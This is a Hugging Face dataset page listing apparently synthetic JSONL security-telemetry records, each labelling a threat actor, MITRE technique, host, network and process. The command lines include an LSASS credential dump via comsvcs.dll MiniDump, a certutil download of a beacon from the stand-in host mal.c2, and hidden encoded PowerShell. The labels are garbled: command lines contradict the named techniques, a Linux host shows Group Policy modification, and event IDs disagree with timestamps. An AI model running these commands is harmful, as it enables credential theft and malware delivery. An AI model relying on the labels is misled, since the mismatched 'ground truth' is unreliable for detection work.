Datasets:
AnodeAI
/
Elite_quality_cybersecurity

Dataset card Data Studio Files
xet
 Community
1
text
stringlengths
1.13k
1.33k
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Execution","Credential Access","Initial Access"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20251112T040550000Z_0009201","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.147.45.210","name":"DB-ORACLE-WUWZUKYRGL","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9201APT29T1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.68.205.134","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3102 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-02T15:48:55.000Z","user":{"name":"azuread\\hyj326litb0j","sid":"S-1-5-21-902750284-109706038-1539"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Command and Control"],"technique_id":"T1071.001"},"event_id":"evt_fin7_20261226T055522000Z_0009203","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.56.94.179","name":"EC2-INST-9UUCAACP2R","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9203FIN7T1071.001"},"network":{"domain":"github.com","dst_ip":"1.58.171.212","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3020 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-10-24T21:06:45.000Z","user":{"name":"svc_1xnl851ib9tl","sid":"S-1-5-21-712871052-102088392-1675"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Impact"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20250502T083038000Z_0009205","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.61.36.241","name":"EC2-INST-FBIJBUBSID","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9205Lapsus$T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.37.101.75","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-06-13T04:58:39.000Z","user":{"name":"i-4uyh8k0rghj2","sid":"S-1-5-21-753438641-154993154-3039"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Initial Access","Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20250826T194451000Z_0009207","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.181.244.30","name":"APP-WEB-5RXB4PC2DY","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9207APT41T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.34.129.240","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-08-07T12:24:57.000Z","user":{"name":"azuread\\oa9lxj4cs9t1","sid":"S-1-5-21-607775009-491340322-4928"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Initial Access","Discovery"],"technique_id":"T1570"},"event_id":"evt_unc4841_20250628T173343000Z_0009209","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.33.151.97","name":"APP-WEB-HIW3UMS26B","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9209UNC4841T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.22.150.86","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3471 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-10T11:36:05.000Z","user":{"name":"svc_006rupli99n8","sid":"S-1-5-21-156937777-732377190-9733"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Impact","Privilege Escalation"],"technique_id":"T1546.003"},"event_id":"evt_fin7_20260930T065305000Z_0009211","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.180.20.79","name":"AZURE-VM-GARM15LSFC","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9211FIN7T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.106.213.159","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-08-09T15:54:49.000Z","user":{"name":"arn:aws:iam::6mdb30gdclry","sid":"S-1-5-21-550688230-336149881-2974"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence","Discovery"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20250315T050447000Z_0009213","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.11.177.61","name":"AZURE-VM-NC2Z2E6MVN","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9213UNC4841T1484.001"},"network":{"domain":"github.com","dst_ip":"1.37.45.251","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-06-17T08:29:52.000Z","user":{"name":"azuread\\42z2kej4ed2x","sid":"S-1-5-21-570138179-676831305-4308"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Lateral Movement","Collection"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20250924T230320000Z_0009215","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.32.204.11","name":"APP-WEB-ZOH3YRUMFU","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9215Scattered SpiderT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.128.35.239","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-01-02T05:22:17.000Z","user":{"name":"i-jr6de9klsm9m","sid":"S-1-5-21-957142847-112821782-4121"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Credential Access","Execution"],"technique_id":"T1531"},"event_id":"evt_apt41_20260921T181221000Z_0009217","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.223.191.248","name":"WIN-FIN-SRV-2L2WYI926E","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9217APT41T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.50.116.67","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-11-02T19:47:27.000Z","user":{"name":"azuread\\ot1gkg2urtmu","sid":"S-1-5-21-593333125-659546447-5173"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Collection"],"technique_id":"T1570"},"event_id":"evt_fin7_20260301T031357000Z_0009219","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["TLS","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.39.210.242","name":"AZURE-VM-CW10KNMBV1","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9219FIN7T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.112.45.8","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2589 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-11-24T09:43:21.000Z","user":{"name":"azuread\\nwlwtntcu7ks","sid":"S-1-5-21-781426768-220450631-1610"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Privilege Escalation"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20251017T155507000Z_0009221","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.252.255.171","name":"DB-ORACLE-J9QUEQ1OGL","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9221APT29T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.112.94.191","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1711 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-03-31T05:09:52.000Z","user":{"name":"CORP\\cco6y9raq9w5","sid":"S-1-5-21-378938050-901030691-5284"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Discovery","Initial Access","Lateral Movement"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20260408T172618000Z_0009223","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.53.31.151","name":"AZURE-VM-KLC2KVHUAU","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9223FIN7T1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.99.244.69","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2786 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-06-11T16:15:37.000Z","user":{"name":"azuread\\4er6nblijo6g","sid":"S-1-5-21-777938777-967573313-6663"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Lateral Movement","Defense Evasion"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20261219T160134000Z_0009225","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.168.99.25","name":"WIN-FIN-SRV-KCLFYWOWPI","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9225Mustang PandaT1570"},"network":{"domain":"github.com","dst_ip":"1.24.163.89","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-10-03T08:17:35.000Z","user":{"name":"CORP\\venxffu5otyp","sid":"S-1-5-21-761847235-308165934-5169"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Execution","Discovery","Initial Access"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20250421T190244000Z_0009227","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.144.221.137","name":"AZURE-VM-GNL35I8T24","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9227FIN7T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.78.222.42","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3583 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-06-21T16:46:24.000Z","user":{"name":"azuread\\yudzfgfdgo6i","sid":"S-1-5-21-334517038-863177211-7935"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Collection"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20250303T212356000Z_0009229","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.23.39.120","name":"AZURE-VM-YXVQMT094K","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9229UNC4841T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.143.14.208","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3752 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-09-30T16:57:43.000Z","user":{"name":"arn:aws:iam::i3biuvgybfmg","sid":"S-1-5-21-331444872-406009306-4688"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Lateral Movement"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20260522T132659000Z_0009231","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.131.123.187","name":"EC2-INST-N51VH9EBNH","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9231APT41T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.65.165.121","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2384 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-10-08T07:43:39.000Z","user":{"name":"svc_lr90uu21vprv","sid":"S-1-5-21-437306987-563053186-4530"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20250731T094353000Z_0009233","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.15.177.98","name":"EC2-INST-D9WOM8AGXL","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9233Lapsus$T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.87.50.132","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-07-28T11:02:16.000Z","user":{"name":"CORP\\fenzmq3j8ji9","sid":"S-1-5-21-627734974-601241579-3129"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Command and Control","Reconnaissance","Execution"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20251006T031436000Z_0009235","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.136.99.215","name":"AZURE-VM-7I6UZ0YF6M","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9235Scattered SpiderT1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.46.22.59","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-08-01T19:32:49.000Z","user":{"name":"CORP\\nbebxiz2t6df","sid":"S-1-5-21-297095314-537977963-9634"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Discovery"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20250328T032743000Z_0009237","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.207.99.1","name":"EC2-INST-CSUDD362SS","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9237UNC4841T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.57.133.132","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-01-22T02:37:17.000Z","user":{"name":"i-ozete9g8nnpu","sid":"S-1-5-21-712690576-612319489-7330"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Initial Access","Persistence","Execution"],"technique_id":"T1059.001"},"event_id":"evt_apt29_20260110T150737000Z_0009239","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.246.157.131","name":"AZURE-VM-WQ5A0E6TNB","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9239APT29T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.43.238.234","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2311 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-07-23T19:32:34.000Z","user":{"name":"CORP\\vwsewfsqfvsf","sid":"S-1-5-21-916380222-554412674-4651"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Lateral Movement","Exfiltration","Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20260617T214611000Z_0009241","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.12.149.56","name":"AZURE-VM-K8TL6DMR8I","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9241Scattered SpiderT1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.135.85.233","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-12-18T18:00:41.000Z","user":{"name":"i-9g70h6q0wbr3","sid":"S-1-5-21-499685736-426499270-5402"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Privilege Escalation","Lateral Movement"],"technique_id":"T1531"},"event_id":"evt_fin7_20261105T164348000Z_0009243","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.108.44.169","name":"DB-ORACLE-X1Q1KYLW80","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9243FIN7T1531"},"network":{"domain":"github.com","dst_ip":"1.77.110.196","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-11T12:35:05.000Z","user":{"name":"i-ycun5ffwjmzt","sid":"S-1-5-21-750462565-840905089-9014"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Persistence","Discovery"],"technique_id":"T1071.001"},"event_id":"evt_mustangpanda_20250722T225254000Z_0009245","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.104.14.49","name":"WIN-FIN-SRV-W89YC0PG81","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9245Mustang PandaT1071.001"},"network":{"domain":"github.com","dst_ip":"1.172.197.41","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-12-26T06:16:35.000Z","user":{"name":"CORP\\07jej8aookni","sid":"S-1-5-21-497755166-997620501-1696"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Impact","Discovery"],"technique_id":"T1098.004"},"event_id":"evt_apt29_20260529T004248000Z_0009247","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.88.223.252","name":"APP-WEB-326HVKXN2E","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9247APT29T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.46.189.144","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1404 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-09T15:13:10.000Z","user":{"name":"CORP\\q84yrouavfge","sid":"S-1-5-21-973790440-700511369-2398"}}
